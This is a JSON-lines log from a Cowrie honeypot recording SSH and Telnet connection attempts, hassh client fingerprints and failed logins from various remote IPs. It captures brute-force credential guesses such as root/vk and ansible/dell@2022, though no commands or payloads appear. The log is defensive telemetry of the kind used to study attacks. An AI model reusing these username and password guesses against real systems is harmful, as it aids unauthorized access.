{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:31.130096Z","src_ip":"43.159.177.40","session":"fab72aac164e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp-user","password":"123456","message":"login attempt [ftp-user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:31.442539Z","src_ip":"43.159.177.40","session":"fab72aac164e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.858273029327393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:32.162139Z","src_ip":"62.171.135.55","session":"34d4b3395a9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:32.522552Z","src_ip":"43.159.177.40","session":"fab72aac164e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.122939109802246,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:35.118306Z","src_ip":"62.171.135.55","session":"031f122fbf00","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vk","message":"login attempt [root/vk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:36.553366Z","src_ip":"213.209.159.158","session":"d77cc60429f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.74156093597412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:39.191692Z","src_ip":"62.171.135.55","session":"33e07347ab46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:39.759920Z","src_ip":"213.209.159.158","session":"d77cc60429f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.31706666946411,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:39.792506Z","src_ip":"62.171.135.55","session":"d61bf6b0b901","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":15020,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f6dd53d2c79","protocol":"ssh","message":"New connection: 213.209.159.158:15020 (159.203.135.109:22) [session: 4f6dd53d2c79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:39.859306Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.227.233.77","src_port":44130,"dst_ip":"159.203.135.109","dst_port":22,"session":"f99f221d5bf5","protocol":"ssh","message":"New connection: 156.227.233.77:44130 (159.203.135.109:22) [session: f99f221d5bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:40.068839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:40.073784Z","src_ip":"156.227.233.77","session":"f99f221d5bf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:40.238250Z","src_ip":"156.227.233.77","session":"f99f221d5bf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":37444,"dst_ip":"159.203.135.109","dst_port":23,"session":"737b452f8533","protocol":"telnet","message":"New connection: 62.171.135.55:37444 (159.203.135.109:23) [session: 737b452f8533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:40.763868Z"}
{"eventid":"cowrie.login.failed","username":"mcserver1","password":"mcserver1","message":"login attempt [mcserver1/mcserver1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:40.931633Z","src_ip":"156.227.233.77","session":"f99f221d5bf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.103753328323364,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:42.068435Z","src_ip":"62.171.135.55","session":"760b8db29bc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:42.102579Z","src_ip":"156.227.233.77","session":"f99f221d5bf5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:42.379225Z","src_ip":"213.209.159.158","session":"4f6dd53d2c79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:42.383086Z","src_ip":"213.209.159.158","session":"4f6dd53d2c79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":58954,"dst_ip":"10.17.0.5","dst_port":23,"session":"38d1078f31d8","protocol":"telnet","message":"New connection: 139.162.207.207:58954 (10.17.0.5:23) [session: 38d1078f31d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:42.458667Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60340,"dst_ip":"159.203.135.109","dst_port":22,"session":"63732929ee7c","protocol":"ssh","message":"New connection: 159.203.92.129:60340 (159.203.135.109:22) [session: 63732929ee7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:47.906923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:47.911805Z","src_ip":"159.203.92.129","session":"63732929ee7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:47.916384Z","src_ip":"159.203.92.129","session":"63732929ee7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"dell@2022","message":"login attempt [ansible/dell@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:47.925836Z","src_ip":"159.203.92.129","session":"63732929ee7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":59512,"dst_ip":"159.203.135.109","dst_port":23,"session":"adb65bc3a654","protocol":"telnet","message":"New connection: 62.171.135.55:59512 (159.203.135.109:23) [session: adb65bc3a654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:48.257682Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:48.931211Z","src_ip":"159.203.92.129","session":"63732929ee7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":37082,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fa1863866a3","protocol":"telnet","message":"New connection: 62.171.135.55:37082 (159.203.135.109:23) [session: 9fa1863866a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:50.158336Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":38754,"dst_ip":"159.203.135.109","dst_port":23,"session":"380ab9aaf5d1","protocol":"telnet","message":"New connection: 62.171.135.55:38754 (159.203.135.109:23) [session: 380ab9aaf5d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:50.794570Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Vvlt","message":"login attempt [root/Vvlt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:51.821233Z","src_ip":"213.209.159.158","session":"4f6dd53d2c79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.57774829864502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:53.145229Z","src_ip":"62.171.135.55","session":"a128de71d066","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:55.487441Z","src_ip":"213.209.159.158","session":"4f6dd53d2c79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":49218,"dst_ip":"159.203.135.109","dst_port":22,"session":"470438a32946","protocol":"ssh","message":"New connection: 213.209.159.158:49218 (159.203.135.109:22) [session: 470438a32946]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:55.578323Z"}
{"eventid":"cowrie.session.closed","duration":30.513965368270874,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:56.103409Z","src_ip":"62.171.135.55","session":"494517ae229b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.366468906402588,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:57.546237Z","src_ip":"62.171.135.55","session":"5922c56e42cb","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:57.777495Z","src_ip":"213.209.159.158","session":"470438a32946","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:57.781626Z","src_ip":"213.209.159.158","session":"470438a32946","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":34688,"dst_ip":"159.203.135.109","dst_port":23,"session":"6441baa256f7","protocol":"telnet","message":"New connection: 62.171.135.55:34688 (159.203.135.109:23) [session: 6441baa256f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:28:59.836876Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":52746,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f9ecea1c96a","protocol":"telnet","message":"New connection: 62.171.135.55:52746 (159.203.135.109:23) [session: 7f9ecea1c96a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:06.613454Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Vowels","message":"login attempt [root/Vowels] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:06.941671Z","src_ip":"213.209.159.158","session":"470438a32946","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":56972,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca622f819cca","protocol":"ssh","message":"New connection: 80.94.92.182:56972 (10.17.0.5:22) [session: ca622f819cca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:07.290515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:07.379057Z","src_ip":"80.94.92.182","session":"ca622f819cca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:07.535167Z","src_ip":"80.94.92.182","session":"ca622f819cca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#$%^","message":"login attempt [root/!@#$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:08.613321Z","src_ip":"80.94.92.182","session":"ca622f819cca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00139427185059,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:09.445984Z","src_ip":"177.146.132.183","session":"971703316554","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:09.815753Z","src_ip":"80.94.92.182","session":"ca622f819cca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.146.132.183","src_port":35244,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbe9e3feb7e2","protocol":"telnet","message":"New connection: 177.146.132.183:35244 (10.17.0.5:23) [session: fbe9e3feb7e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:09.967402Z"}
{"eventid":"cowrie.session.closed","duration":120.00117778778076,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:10.140831Z","src_ip":"177.146.132.183","session":"26598df34f7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00176477432251,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:10.172760Z","src_ip":"177.146.132.183","session":"a8857cc7a59d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"14.7","message":"Connection lost after 14.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:10.309221Z","src_ip":"213.209.159.158","session":"470438a32946","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":21984,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e7e72910dc9","protocol":"ssh","message":"New connection: 213.209.159.158:21984 (159.203.135.109:22) [session: 0e7e72910dc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:10.415142Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.146.132.183","src_port":35272,"dst_ip":"10.17.0.5","dst_port":23,"session":"901cca18e9f8","protocol":"telnet","message":"New connection: 177.146.132.183:35272 (10.17.0.5:23) [session: 901cca18e9f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:10.565398Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.146.132.183","src_port":35275,"dst_ip":"10.17.0.5","dst_port":23,"session":"157b1c749085","protocol":"telnet","message":"New connection: 177.146.132.183:35275 (10.17.0.5:23) [session: 157b1c749085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:10.841806Z"}
{"eventid":"cowrie.session.closed","duration":30.475645065307617,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:11.239393Z","src_ip":"62.171.135.55","session":"737b452f8533","protocol":"telnet"}
